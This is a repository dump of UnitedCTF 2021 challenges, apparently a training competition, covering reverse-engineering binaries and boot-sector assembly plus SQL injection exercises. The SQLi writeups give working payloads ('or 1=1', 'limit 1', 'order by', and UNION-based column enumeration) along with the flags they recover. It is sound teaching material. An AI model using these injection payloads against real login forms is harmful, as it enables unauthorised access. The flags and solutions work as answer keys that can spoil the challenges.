14 | subprocess.Popen(['./' + os.environ.get("PROGRAM_NAME")], stdin=client, stdout=client, stderr=client)
15 | client.close()
16 | except KeyboardInterrupt:
17 | pass
18 | finally:
19 | listener.close()
--------------------------------------------------------------------------------
/challenges/reverse/character_customization/public/character_customization:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2021/568fa6610df8374f744b6046269fae693d85ec74/challenges/reverse/character_customization/public/character_customization
--------------------------------------------------------------------------------
/challenges/reverse/character_customization/src/CMakeLists.txt:
--------------------------------------------------------------------------------
1 | cmake_minimum_required(VERSION 3.14)
2 | project(character_customization)
3 | include(CheckPIESupported)
4 | check_pie_supported()
5 |
6 | set(CMAKE_CXX_STANDARD 14)
7 |
8 | add_executable(character_customization main.cpp Menu.cpp Menu.h)
9 | set_property(TARGET character_customization PROPERTY POSITION_INDEPENDENT_CODE FALSE)
10 |
--------------------------------------------------------------------------------
/challenges/reverse/character_customization/src/Menu.cpp:
--------------------------------------------------------------------------------
1 | #include "Menu.h"
2 | #include
3 |
4 | Menu::Menu(const std::string &name, const std::string &prompt, const int& id,
5 | const std::vector > &choices)
6 | : _name(name), _id(id), _prompt(prompt), _choices(choices) {}
7 |
8 | bool Menu::operator==(const std::string &name) const {
9 | return name == _name;
10 | }
11 |
12 | const std::string &Menu::getName() const {
13 | return this->_name;
14 | }
15 |
16 | const int& Menu::getId() const {
17 | return this->_id;
18 | }
19 |
20 | const std::string &Menu::getChoice() const {
21 | if (_choices.size() == 0) {
22 | std::cout << _prompt;
23 | return menuend;
24 | }
25 | int choice;
26 | int i;
27 | do {
28 | std::cout << _prompt;
29 | i = 1;
30 |
31 | for (auto ch: _choices) {
32 | std::cout << i++ << ": " << ch.first << '\n';
33 | }
34 |
35 | while(!(std::cin >> choice)){
36 | std::cin.clear();
37 | std::cin.ignore(std::numeric_limits::max(), '\n');
38 | std::cout << "Invalid input" << std::endl;
39 | }
40 |
41 | --choice;
42 | } while (choice >= _choices.size());
43 | return _choices[choice].second;
44 | }
45 |
46 | Menu::~Menu() {}
47 |
48 | const std::string Menu::menuend{"END"};
--------------------------------------------------------------------------------
/challenges/reverse/character_customization/src/Menu.h:
--------------------------------------------------------------------------------
1 | #ifndef GAMEPAD_MENU_H
2 | #define GAMEPAD_MENU_H
3 |
4 | #include
5 | #include
6 |
7 |
8 | class Menu {
9 | /// Code was taken from this post: https://codereview.stackexchange.com/questions/49614/text-based-adventure-game-with-too-many-conditional-statements
10 |
11 | public:
12 | Menu(const std::string &name, const std::string &prompt, const int& id,
13 | const std::vector > &choices
14 | = std::vector >{});
15 | virtual ~Menu();
16 | const std::string& getChoice() const;
17 | const std::string& getName() const;
18 | const int& getId() const;
19 | bool operator==(const std::string &name) const;
20 | private:
21 | static const std::string menuend;
22 | int _id;
23 | std::string _name, _prompt;
24 | std::vector> _choices;
25 | };
26 |
27 |
28 | #endif //GAMEPAD_MENU_H
29 |
--------------------------------------------------------------------------------
/challenges/reverse/codedump/Readme.md:
--------------------------------------------------------------------------------
1 | # codedump
2 |
3 | Tags : `reverse`
4 | Level : `Medium`
5 |
6 | ## Description
7 | **Visible** : En analysant un logiciel, j'ai réussi à extraire des données depuis la mémoire. Il semblerait que ce soit un Shellcode Windows, pouvez-vous m'aider à l'analyser ?
8 |
9 | **Non visible** : ce challenge a pour but de montrer aux participants comment un Shellcode Windows peut utiliser le Process Environment Block (PEB) pour avoir accès aux DLLs chargées en mémoire et appeler des exports de ces dernières. Les participants n'auront accès qu'au fichier codedump.bin situé dans le dossier */binaries*.
10 |
11 | ## Hints
12 |
13 | - Le débogage est une meilleure approche pour ce challenge, nous vous conseillons x32dbg.
14 | - Vous pouvez utiliser l'outil [BlobRunner](https://github.com/OALabs/BlobRunner) pour mettre le shellcode en mémoire et faciliter le débogage de ce dernier.
15 |
16 | ## Setup
17 |
18 | Requis:
19 | - Une VM windows
20 |
21 | ## Writeup
22 |
23 | Voir [Writeup.md](Writeup.md)
24 |
25 |
26 | ## Author
27 |
28 | Edouard Bochin
29 |
--------------------------------------------------------------------------------
/challenges/reverse/codedump/binaries/codedump.bin:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2021/568fa6610df8374f744b6046269fae693d85ec74/challenges/reverse/codedump/binaries/codedump.bin
--------------------------------------------------------------------------------
/challenges/reverse/codedump/binaries/win_shellcode.bin:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2021/568fa6610df8374f744b6046269fae693d85ec74/challenges/reverse/codedump/binaries/win_shellcode.bin
--------------------------------------------------------------------------------
/challenges/reverse/codedump/screenshots/0.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2021/568fa6610df8374f744b6046269fae693d85ec74/challenges/reverse/codedump/screenshots/0.png
--------------------------------------------------------------------------------
/challenges/reverse/codedump/screenshots/1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2021/568fa6610df8374f744b6046269fae693d85ec74/challenges/reverse/codedump/screenshots/1.png
--------------------------------------------------------------------------------
/challenges/reverse/codedump/screenshots/2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2021/568fa6610df8374f744b6046269fae693d85ec74/challenges/reverse/codedump/screenshots/2.png
--------------------------------------------------------------------------------
/challenges/reverse/codedump/screenshots/3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2021/568fa6610df8374f744b6046269fae693d85ec74/challenges/reverse/codedump/screenshots/3.png
--------------------------------------------------------------------------------
/challenges/reverse/codedump/screenshots/4.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2021/568fa6610df8374f744b6046269fae693d85ec74/challenges/reverse/codedump/screenshots/4.png
--------------------------------------------------------------------------------
/challenges/reverse/codedump/screenshots/5.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2021/568fa6610df8374f744b6046269fae693d85ec74/challenges/reverse/codedump/screenshots/5.png
--------------------------------------------------------------------------------
/challenges/reverse/codedump/screenshots/6.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2021/568fa6610df8374f744b6046269fae693d85ec74/challenges/reverse/codedump/screenshots/6.png
--------------------------------------------------------------------------------
/challenges/reverse/exports/README.md:
--------------------------------------------------------------------------------
1 | # Exports
2 |
3 | > reverse
4 |
5 | Author: [Alexandre-Xavier Labonté-Lamoureux (AXDOOMER)](https://github.com/axdoomer)
6 |
7 | Ce défi vise à vous familiariser avec Ghidra ou IDA Free qui sont des outils de décompilation de code machine. Si c'est votre premier contact avec cet outil, vous apprendrez à importer un binaire. En fouillant dans l'interface graphique, vous trouverez une section "Exports" qui liste les fonctions du binaire qui peuvent être appelées de l'extérieur par d'autres programmes. Il existe deux fonctions exports suspectes qui ont été ajoutées au programme.
8 |
9 | ## Setup
10 |
11 | Requirements:
12 | - Une distribution basée sur Linux
13 |
14 | # Writeup
15 |
16 | Il existe plusieurs façons de voir les symboles dans un fichier exécutable. Par exemple, on aurait pu utiliser la commande `nm --demangle program` afin de trouver les fonctions exportées. Cependant, on peut le faire encore plus facilement en utilisant IDA Free ou Ghidra. Dans l'interface de chacun de ces outils, il y a une section "Exports".
17 |
18 | C'est ainsi qu'on trouve un exports suspect nommé `ROT13TheNextExport`. Celui-ci est suivi de `synt_lbhtbgguvflrnu` en mémoire (on peut se faire prendre par l'ordre alphabétique). En effectuant le ROT13 du string avec un outil comme CyberChef, on trouve `flag_yougotthisyeah`.
19 |
20 | 
21 |
22 |
--------------------------------------------------------------------------------
/challenges/reverse/exports/main.cpp:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 | #include
6 | #include
7 | #ifdef _WIN32
8 | #include
9 | #endif
10 |
11 | using namespace std;
12 |
13 | extern void* ROT13TheNextExport()
14 | {
15 | return NULL;
16 | }
17 |
18 | extern int synt_lbhtbgguvflrnu()
19 | {
20 | return 1;
21 | }
22 |
23 | int main(int argc, char* argv[])
24 | {
25 | long i = -1;
26 | ifstream fichier;
27 | string source = "mots.txt";
28 |
29 | if (argc == 2)
30 | {
31 | source = argv[1];
32 | }
33 | fichier.open(source.c_str());
34 |
35 | if (!fichier.good())
36 | {
37 | cerr << "Fichier 'mots.txt' introuvable" << endl;
38 | exit(EXIT_FAILURE);
39 | }
40 |
41 | vector v;
42 |
43 | string ligne;
44 | while (getline(fichier, ligne))
45 | {
46 | while (ligne.length() > 0 && ligne[ligne.size() - 1] == ' ')
47 | {
48 | ligne.erase(ligne.size() - 1);
49 | }
50 |
51 | if (ligne.length() > 0)
52 | {
53 | v.push_back(ligne);
54 | }
55 | }
56 |
57 | if (v.size() == 0)
58 | {
59 | cerr << "Fichier vide" << endl;
60 | exit(EXIT_FAILURE);
61 | }
62 |
63 | fichier.close();
64 | srand((unsigned int)time(NULL));
65 |
66 | // Boucle principale
67 | bool pas_termine = true;
68 | while (pas_termine)
69 | {
70 | string s = v.at(rand() % v.size());
71 | #ifdef _WIN32
72 | vector a(s.size() + 1);
73 | AnsiToOem(s.c_str(), &a[0]);
74 | s = string(a.begin(), a.end());
75 | #endif
76 | cout << s << endl;
77 | string t;
78 | do
79 | {
80 | getline(cin, t);
81 |
82 | if (t.length() == 0)
83 | {
84 | pas_termine = false;
85 | break;
86 | }
87 | #ifdef _WIN32
88 | t += '\0';
89 | #endif
90 | } while (t != s);
91 |
92 | i++;
93 | }
94 |
95 | cout << "****** Tu as mal tapé! Tu as perdu! ******" << endl;
96 | cout << "****** Pointage: " << i << endl;
97 | }
98 |
--------------------------------------------------------------------------------
/challenges/reverse/exports/makefile:
--------------------------------------------------------------------------------
1 | all:
2 | g++ main.cpp -o program
3 |
--------------------------------------------------------------------------------
/challenges/reverse/exports/program:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2021/568fa6610df8374f744b6046269fae693d85ec74/challenges/reverse/exports/program
--------------------------------------------------------------------------------
/challenges/reverse/raycaster/main.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2021/568fa6610df8374f744b6046269fae693d85ec74/challenges/reverse/raycaster/main.zip
--------------------------------------------------------------------------------
/challenges/reverse/reverseme/.gitignore:
--------------------------------------------------------------------------------
1 | /*.bin
--------------------------------------------------------------------------------
/challenges/reverse/reverseme/Makefile:
--------------------------------------------------------------------------------
1 | default:
2 | nasm -f bin boot.asm -o boot.bin
3 |
4 | boot:
5 | qemu-system-x86_64 \
6 | -drive file=boot.bin,format=raw,if=floppy
7 |
8 | debug:
9 | qemu-system-x86_64 -S -s \
10 | -drive file=boot.bin,format=raw &
11 | gdb -nh \
12 | -ex "target remote localhost:1234" \
13 | -ex "set architecture i8086" \
14 | -ex "break *0x7c00"
15 |
16 | clean:
17 | rm boot.bin
--------------------------------------------------------------------------------
/challenges/reverse/reverseme/README.md:
--------------------------------------------------------------------------------
1 | # Reverse Boot sector 16/32 bits
2 | > Reverse
3 | Author: @KptCheeseWhiz
4 |
5 | ## Challenge
6 | Can you reverse me?
7 |
8 | ## Resources
9 | - https://linux.die.net/man/1/qemu-kvm
10 | - https://github.com/cfenollosa/os-tutorial
11 |
12 | ## Setup
13 |
14 | ### Requirements
15 | - nasm
16 | - qemu
17 |
18 | ### How to run
19 | - Test : `make && make boot`
20 | - Debug : `make && make debug`
21 |
--------------------------------------------------------------------------------
/challenges/reverse/reverseme/boot.asm:
--------------------------------------------------------------------------------
1 | [org 0x7c00]
2 | [bits 16]
3 |
4 | xor ax, ax
5 | mov ds, ax
6 | mov es, ax
7 | mov bx, 0x8000 ; stack base
8 |
9 | cli
10 | mov ss, bx
11 | mov sp, ax
12 | sti
13 |
14 | cld
15 |
16 | xor ah, ah
17 | mov al, 0x03
18 | int 0x10
19 | xor al, al
20 |
21 | jmp 0x0000:main
22 |
23 | %include "print.asm"
24 |
25 | main:
26 | mov ax, ENTER_PASSWORD
27 | call print
28 |
29 | mov si, 0x0
30 | _read_chars:
31 | xor ax, ax
32 | int 0x16
33 | cmp al, 0x0d
34 | je _read_chars_done
35 |
36 | cmp al, 0x20
37 | jl _read_chars
38 |
39 | cmp al, 0x7e
40 | jg _read_chars
41 |
42 | mov [INPUT+si], al
43 | inc si
44 |
45 | cmp si, 0x20
46 | je _read_chars_done
47 |
48 | call print_char
49 |
50 | jmp _read_chars
51 |
52 | _read_chars_done:
53 | call print_nl
54 |
55 | mov si, 0x0
56 | _cmp_input:
57 | mov bl, [FLAG+si]
58 | cmp bl, 0x0
59 | je _cmp_input_good
60 |
61 | ror bl, 4
62 | xor bl, 0x55
63 |
64 | mov cl, [INPUT+si]
65 | cmp cl, bl
66 | jne _cmp_input_bad
67 |
68 | inc si
69 | jmp _cmp_input
70 |
71 | _cmp_input_good:
72 | mov ax, GOOD
73 | call print
74 | jmp halt
75 |
76 | _cmp_input_bad:
77 | mov ax, BAD
78 | call print
79 | jmp halt
80 |
81 | halt:
82 | cli
83 | hlt
84 | jmp halt
85 |
86 | ENTER_PASSWORD:
87 | db "Enter password: ", 0
88 | GOOD:
89 | db "Good password", 13, 10, 0
90 | BAD:
91 | db "Invalid password", 13, 10, 0
92 | ; FLAG-GETTING_GOOD_AT_THIS_THING
93 | FLAG:
94 | db 0x31, 0x91, 0x41, 0x21
95 | db 0x87, 0x21, 0x01, 0x10
96 | db 0x10, 0xc1, 0xb1, 0x21
97 | db 0xa0, 0x21, 0xa1, 0xa1
98 | db 0x11, 0xa0, 0x41, 0x10
99 | db 0xa0, 0x10, 0xd1, 0xc1
100 | db 0x60, 0xa0, 0x10, 0xd1
101 | db 0xc1, 0xb1, 0x21, 0x00
102 | INPUT:
103 | times 32 db 0x00
104 |
105 | times 510-($-$$) db 0x0
106 | dw 0xAA55
107 |
--------------------------------------------------------------------------------
/challenges/reverse/reverseme/print.asm:
--------------------------------------------------------------------------------
1 | jmp _print_section_end
2 |
3 | print_hex:
4 | pusha
5 | mov cx, 0
6 |
7 | _print_hex_loop:
8 | cmp cx, 4
9 | je _print_hex_done
10 |
11 | mov dx, ax
12 | and dx, 0x000f
13 | add dl, 0x30
14 | cmp dl, 0x39
15 | jle _print_hex_step2
16 | add dl, 7
17 |
18 | _print_hex_step2:
19 | mov bx, HEX_OUT + 5
20 | sub bx, cx
21 | mov [bx], dl
22 | ror ax, 4
23 |
24 | add cx, 1
25 | jmp _print_hex_loop
26 |
27 | _print_hex_done:
28 | mov ax, HEX_OUT
29 | call print
30 |
31 | popa
32 | ret
33 |
34 | HEX_OUT:
35 | db '0x0000', 0
36 |
37 | print:
38 | pusha
39 | mov si, ax
40 |
41 | _print_loop:
42 | lodsb
43 | cmp al, 0
44 | je _print_done
45 | mov ah, 0x0e
46 | int 0x10
47 | jmp _print_loop
48 |
49 | _print_done:
50 | popa
51 | ret
52 |
53 | print_nl:
54 | pusha
55 |
56 | mov ah, 0x0e
57 | mov al, 0x0a
58 | int 0x10
59 | mov al, 0x0d
60 | int 0x10
61 |
62 | popa
63 | ret
64 |
65 | print_char:
66 | pusha
67 |
68 | mov ah, 0x0e
69 | int 0x10
70 |
71 | popa
72 | ret
73 |
74 | _print_section_end:
--------------------------------------------------------------------------------
/challenges/reverse/stringstrings/main.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "fmt"
5 | "time"
6 | )
7 |
8 | func main() {
9 | fmt.Print("Hello, ")
10 | fmt.Print(".")
11 | time.Sleep(500 * time.Millisecond)
12 | fmt.Print(".")
13 | time.Sleep(500 * time.Millisecond)
14 | fmt.Print(".")
15 | time.Sleep(500 * time.Millisecond)
16 | fmt.Print(". ")
17 | time.Sleep(500 * time.Millisecond)
18 | fmt.Println("world!")
19 | }
20 |
21 |
--------------------------------------------------------------------------------
/challenges/reverse/stringstrings/makefile:
--------------------------------------------------------------------------------
1 | all:
2 | go build main.go
3 | mv main stringsstrings
4 | perl -pi -e 's/UnitedCTF-2021\/UnitedCTF-2021/FLAG-9190JA39AN2VMA0221NA99RM/g' stringsstrings
5 | echo "The following line must find the flag that's in the binary:"
6 | strings stringsstrings | grep FLAG-9190JA39AN2VMA0221NA99RM
7 |
--------------------------------------------------------------------------------
/challenges/reverse/stringstrings/stringsstrings:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2021/568fa6610df8374f744b6046269fae693d85ec74/challenges/reverse/stringstrings/stringsstrings
--------------------------------------------------------------------------------
/challenges/reverse/tangled/.gitignore:
--------------------------------------------------------------------------------
1 | /*.bin
--------------------------------------------------------------------------------
/challenges/reverse/tangled/Makefile:
--------------------------------------------------------------------------------
1 | default:
2 | nasm -f bin boot.asm -o boot.bin
3 |
4 | hint:
5 | python ./tools/shuffle_chars.py
6 |
7 | mv chars.asm _chars.asm
8 | mv chars_shuffled.asm chars.asm
9 |
10 | nasm -f bin boot.asm -o boot.bin
11 |
12 | mv _chars.asm chars.asm
13 |
14 | final:
15 | python ./tools/shuffle_chars.py
16 |
17 | mv flag.asm _flag.asm
18 | echo 'FLAG: ' > flag.asm
19 |
20 | mv chars.asm _chars.asm
21 | mv chars_shuffled.asm chars.asm
22 |
23 | nasm -f bin boot.asm -o boot.bin
24 |
25 | mv _chars.asm chars.asm
26 | mv _flag.asm flag.asm
27 |
28 | python ./tools/scramble_end.py
29 |
30 | boot:
31 | qemu-system-x86_64 \
32 | -drive file=boot.bin,format=raw,if=floppy
33 |
34 | debug:
35 | qemu-system-x86_64 -S -s \
36 | -drive file=boot.bin,format=raw &
37 | gdb -nh \
38 | -ex "target remote localhost:1234" \
39 | -ex "set architecture i8086" \
40 | -ex "break *0x7c00"
41 |
42 | clean:
43 | rm boot.bin
44 |
--------------------------------------------------------------------------------
/challenges/reverse/tangled/README.md:
--------------------------------------------------------------------------------
1 | # Reverse Boot sector 16/32 bits
2 | > Reverse
3 | Author: @KptCheeseWhiz
4 |
5 | ## Challenge
6 | Can you help me decipher this string?
7 | ```
8 | =4I|RI2RAR^V2RO6R[6<^I{R+6.R+{<'7L
9 | ```
10 |
11 | ## Resources
12 | - https://linux.die.net/man/1/qemu-kvm
13 | - https://github.com/cfenollosa/os-tutorial
14 | - https://en.wikipedia.org/wiki/BIOS_interrupt_call
15 |
16 | ## Setup
17 |
18 | ### Requirements
19 | - python
20 | - nasm
21 | - qemu
22 |
23 | ### How to run
24 | - Test : `make && make boot`
25 | - Debug : `make && make debug`
26 | - Print hint : `make hint && make boot`
27 | - Build challenge : `make final`
28 |
--------------------------------------------------------------------------------
/challenges/reverse/tangled/boot.asm:
--------------------------------------------------------------------------------
1 | [org 0x7c00]
2 | [bits 16]
3 |
4 | xor ax, ax
5 | mov ds, ax
6 | mov es, ax
7 | mov bx, 0x8000 ; stack base
8 |
9 | cli
10 | mov ss, bx
11 | mov sp, ax
12 | sti
13 |
14 | cld
15 |
16 | xor ah, ah
17 | mov al, 0x03
18 | int 0x10
19 | xor al, al
20 |
21 | mov [BOOT_DISK], dl
22 | cmp dl, 0x00 ; expect boot from floppy
23 | jne halt
24 |
25 | jmp 0x0000:main
26 |
27 | %include "system.asm"
28 | %include "print.asm"
29 | %include "disk.asm"
30 | %include "font.asm"
31 |
32 | main:
33 | mov ax, 0x7e00
34 | mov bx, 0x0002
35 | call disk_load
36 |
37 | mov bx, 0x411a
38 | call font_load
39 | add bh, 0x20
40 | call font_load
41 | add ax, 0x16c ; 26*14
42 | sub bx, 0x3110 ; 0x300a
43 | call font_load
44 | add ax, 0x8c ; 10*14
45 | sub bx, 0x0efb ; 0x210f
46 | call font_load
47 | add ax, 0xd2 ; 15*14
48 | add bx, 0x18f8 ; 0x3a07
49 | call font_load
50 | add ax, 0x62 ; 7*14
51 | add bx, 0x20ff ; 0x5b06
52 | call font_load
53 | add ax, 0x54 ; 6*14
54 | add bx, 0x1ffe ; 0x7b04
55 | call font_load
56 |
57 | mov ax, FLAG
58 | call print
59 | jmp halt
60 |
61 | %include "flag.asm"
62 |
63 | times 510-($-$$) db 0x99
64 | dw 0xAA55
65 |
66 | %include "chars.asm"
67 |
--------------------------------------------------------------------------------
/challenges/reverse/tangled/disk.asm:
--------------------------------------------------------------------------------
1 | jmp _disk_section_end
2 |
3 | ; ax: where to
4 | ; bh: sector start
5 | ; bl: sector count
6 | disk_load:
7 | pusha
8 |
9 | push bx
10 | push ax
11 |
12 | mov ah, bh
13 | add ah, 0x2
14 | mov al, bl
15 |
16 | pop bx
17 |
18 | mov ch, 0x00
19 | mov cl, 0x02
20 |
21 | mov dx, [BOOT_DISK]
22 | xor dh, dh
23 |
24 | int 0x13
25 | jc disk_error
26 |
27 | pop bx
28 | cmp al, bl
29 | jne sector_error
30 |
31 | xor ah, ah
32 | int 0x13
33 |
34 | popa
35 | ret
36 |
37 | BOOT_DISK: db 0x00
38 |
39 | disk_error:
40 | mov ax, DISK_ERROR
41 | call print
42 | jmp halt
43 |
44 | sector_error:
45 | mov ax, SECTOR_ERROR
46 | call print
47 | jmp halt
48 |
49 | DISK_ERROR: db "Disk error", 13, 10, 0
50 | SECTOR_ERROR: db "Sector error", 13, 10, 0
51 |
52 | _disk_section_end:
53 |
--------------------------------------------------------------------------------
/challenges/reverse/tangled/flag.asm:
--------------------------------------------------------------------------------
1 | FLAG: db "FLAG-AH-C-SOH-KE-TERSAI-DEU-DIR~!?", 13, 10
2 | db "ABCDEFGHIJKLMNOPQRSTUVWXYZ", 13, 10
3 | db "01234567890", 13, 10
4 | db "!", 0x22, "#$%&'()*+,-./:", 0x3b, "<=>?@[\]^_`{|}~", 13, 10, 0
5 |
--------------------------------------------------------------------------------
/challenges/reverse/tangled/font.asm:
--------------------------------------------------------------------------------
1 | jmp _font_section_end
2 |
3 | ; ax: where from
4 | ; bh: char start
5 | ; bl: char count
6 | font_load:
7 | pusha
8 |
9 | push bx
10 |
11 | mov bp, ax
12 |
13 | pop ax
14 | push ax
15 |
16 | xor ah, ah
17 | mov cx, ax
18 |
19 | pop ax
20 | xor al, al
21 | ror ax, 8
22 |
23 | mov dx, ax
24 | mov bh, 0x0e
25 | xor bl, bl
26 | mov ax, 0x1100
27 | int 10h
28 |
29 | popa
30 | ret
31 |
32 | _font_section_end:
33 |
--------------------------------------------------------------------------------
/challenges/reverse/tangled/print.asm:
--------------------------------------------------------------------------------
1 | jmp _print_section_end
2 |
3 | print_hex:
4 | pusha
5 | mov cx, 0
6 |
7 | _print_hex_loop:
8 | cmp cx, 4
9 | je _print_hex_done
10 |
11 | mov dx, ax
12 | and dx, 0x000f
13 | add dl, 0x30
14 | cmp dl, 0x39
15 | jle _print_hex_step2
16 | add dl, 7
17 |
18 | _print_hex_step2:
19 | mov bx, HEX_OUT + 5
20 | sub bx, cx
21 | mov [bx], dl
22 | ror ax, 4
23 |
24 | add cx, 1
25 | jmp _print_hex_loop
26 |
27 | _print_hex_done:
28 | mov ax, HEX_OUT
29 | call print
30 |
31 | popa
32 | ret
33 |
34 | HEX_OUT:
35 | db '0x0000', 0
36 |
37 | print:
38 | pusha
39 | mov si, ax
40 |
41 | _print_loop:
42 | lodsb
43 | cmp al, 0
44 | je _print_done
45 | mov ah, 0x0e
46 | int 0x10
47 | jmp _print_loop
48 |
49 | _print_done:
50 | popa
51 | ret
52 |
53 | print_nl:
54 | pusha
55 |
56 | mov ah, 0x0e
57 | mov al, 0x0a
58 | int 0x10
59 | mov al, 0x0d
60 | int 0x10
61 |
62 | popa
63 | ret
64 |
65 | _print_section_end:
66 |
--------------------------------------------------------------------------------
/challenges/reverse/tangled/system.asm:
--------------------------------------------------------------------------------
1 | jmp _system_section_end
2 |
3 | halt:
4 | cli
5 | hlt
6 | jmp halt
7 |
8 | _system_section_end:
--------------------------------------------------------------------------------
/challenges/reverse/tangled/tools/scramble_end.py:
--------------------------------------------------------------------------------
1 | import random
2 | import os
3 |
4 | random.seed(1337)
5 | with open("./boot.bin", "rb") as i:
6 | with open("./_boot.bin", "wb") as o:
7 | bin = i.read(510)
8 | for b in bin:
9 | if ord(b) == 0x99:
10 | o.write(chr(random.randint(1, 255)))
11 | else:
12 | o.write(b)
13 | o.write(i.read())
14 |
15 | os.rename("./_boot.bin", "./boot.bin")
--------------------------------------------------------------------------------
/challenges/reverse/tangled/tools/shuffle_chars.py:
--------------------------------------------------------------------------------
1 | import random
2 | import re
3 |
4 | random.seed(1337)
5 | with open("./chars.asm") as f:
6 | text = f.read()
7 | matches = [(letter, bin) for letter, bin in re.findall(r'(c[0-9a-f]+):([\n\w\s]+)\n(?=c[0-9a-f]+:)', text, flags=re.MULTILINE)]
8 | with open("./chars_shuffled.asm", "w") as g:
9 | random.shuffle(matches)
10 | g.write('\n'.join([bin for (_, bin) in matches]))
--------------------------------------------------------------------------------
/challenges/sqli/sqli1/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM php:8.0.10-apache
2 |
3 | RUN apt-get update -y
4 | RUN apt-get upgrade -y
5 |
6 | COPY src /var/www/html
7 |
--------------------------------------------------------------------------------
/challenges/sqli/sqli2/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM php:8.0.10-apache
2 |
3 | RUN apt-get update -y
4 | RUN apt-get upgrade -y
5 |
6 | COPY src /var/www/html
7 |
--------------------------------------------------------------------------------
/challenges/sqli/sqli2/README.md:
--------------------------------------------------------------------------------
1 | # SQL injection 2
2 |
3 | > web
4 |
5 | Author: [Alexandre-Xavier Labonté-Lamoureux (AXDOOMER)](https://github.com/axdoomer)
6 |
7 | Pour ce deuxième défi d'injection SQL, il y a plusieurs utilisateurs dans la table `users` et le code vérifie maintenant que la requête retourne qu'un seul résultat. Donc, l'injection utilisée précédemment ne fonctionne plus. Cependant, l'utilisateur `admin` est le premier dans la table.
8 |
9 | ## Setup
10 |
11 | Requirements:
12 | - BurpSuite
13 |
14 | # Writeup
15 |
16 | L'injection précédente `" or 1=1--` ne fonctionne plus, car elle retourne plusieurs résultats et le code s'assure que ce n'est pas le cas.
17 |
18 | La description du défi nous indique que l'utilisateur `admin` est le premier dans la table. On devrait penser à faire l'injection `" or 1=1 limit 1--` afin de limiter la quantité de résultats retournée. On obtiendra le flag `FLAG-4acceacedaf77ae3c3ecc5fec82ff1fflimitit`.
19 |
20 | On peut aussi faire `admin" and 1=1--` dans le champs Username afin de s'assurer qu'il y ait qu'un seul match avec l'utilisateur `admin` sans entrer de mot de passe.
21 |
--------------------------------------------------------------------------------
/challenges/sqli/sqli3/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM php:8.0.10-apache
2 |
3 | RUN apt-get update -y
4 | RUN apt-get upgrade -y
5 |
6 | COPY src /var/www/html
7 |
--------------------------------------------------------------------------------
/challenges/sqli/sqli3/README.md:
--------------------------------------------------------------------------------
1 | # SQL injection 3
2 |
3 | > web
4 |
5 | Author: [Alexandre-Xavier Labonté-Lamoureux (AXDOOMER)](https://github.com/axdoomer)
6 |
7 | Ce troisième défi d'injection SQL est similaire au défi précédent. Il y a plusieurs utilisateurs dans la table `users` et le code vérifie que la requête retourne qu'un seul résultat. Cependant, l'utilisateur `admin` n'est plus le premier dans la table. Donc, l'injection utilsiée précédemment ne fonctionne plus car vous obtiendrez le mauvais résultat.
8 |
9 | ## Setup
10 |
11 | Requirements:
12 | - BurpSuite
13 |
14 | # Writeup
15 |
16 | Si on fait la requête précédent `" or 1=1 limit 1--`, on obtient le mauvais mot de passe même si la connexion a réussie. Le code ne vérifie pas que la base de donnée a bien retournée la ligne de l'admin comme premier résultat du dataset.
17 |
18 | Afin de réussir, on peut créer une requête qui va trier les utilisateurs par ordre alphabétique. On fera donc `" or 1=1 order by username limit 1--` (`asc` étant optionnel comme l'ordre croissante est par défaut, mais on aurait pu utiliser `desc` pour trier par l'inverse si `admin` était le dernier utilisateur de la table).
19 |
20 | Le flag obtenu est `FLAG-a5ff034660bff8ce89637ece84e0cff1sortit`.
21 |
--------------------------------------------------------------------------------
/challenges/sqli/sqli4/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM php:8.0.10-apache
2 |
3 | RUN apt-get update -y
4 | RUN apt-get upgrade -y
5 |
6 | COPY src /var/www/html
7 |
--------------------------------------------------------------------------------
/challenges/sqli/sqli4/README.md:
--------------------------------------------------------------------------------
1 | # SQL injection 4
2 |
3 | > web
4 |
5 | Author: [Alexandre-Xavier Labonté-Lamoureux (AXDOOMER)](https://github.com/axdoomer)
6 |
7 | Ce quatrième défi d'injection SQL requiert de charger des données qui sont dans une autre table. La table `users` ne contient qu'un seul utilisateur: `admin`. Cependant, il existe une nouvelle table `flag` qui contient un certain nombre de colonnes. Parmis ces colonnes, on trouve la colonne `flag` qui contient ce que vous cherchez.
8 |
9 | ## Setup
10 |
11 | Requirements:
12 | - BurpSuite
13 |
14 | # Writeup
15 |
16 | https://portswigger.net/web-security/sql-injection/union-attacks
17 |
18 | En se basant sur la technique expliquée dans la page web ci-haut, on doit déterminer le nombre de colonnes.
19 |
20 | `" union select 1 from flag--`
21 | `" union select 1,2 from flag--`
22 | `" union select 1,2,3 from flag--`
23 |
24 | Les deux premières requêtes donnent un erreur. La troisième retourne `3`. On sait que pour afficher le flag, on devra utiliser la troisième colonne, donc on essaye la requête `" union select 1,2,flag from flag--`.
25 |
26 | C'est à ce moment qu'on obtient le flag `FLAG-373fc3b97cb4cd80d07942d92add1379unionizethis`.
27 |
--------------------------------------------------------------------------------
/challenges/sqli/sqli5/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM php:8.0.10-apache
2 |
3 | RUN apt-get update -y
4 | RUN apt-get upgrade -y
5 |
6 | COPY src /var/www/html
7 |
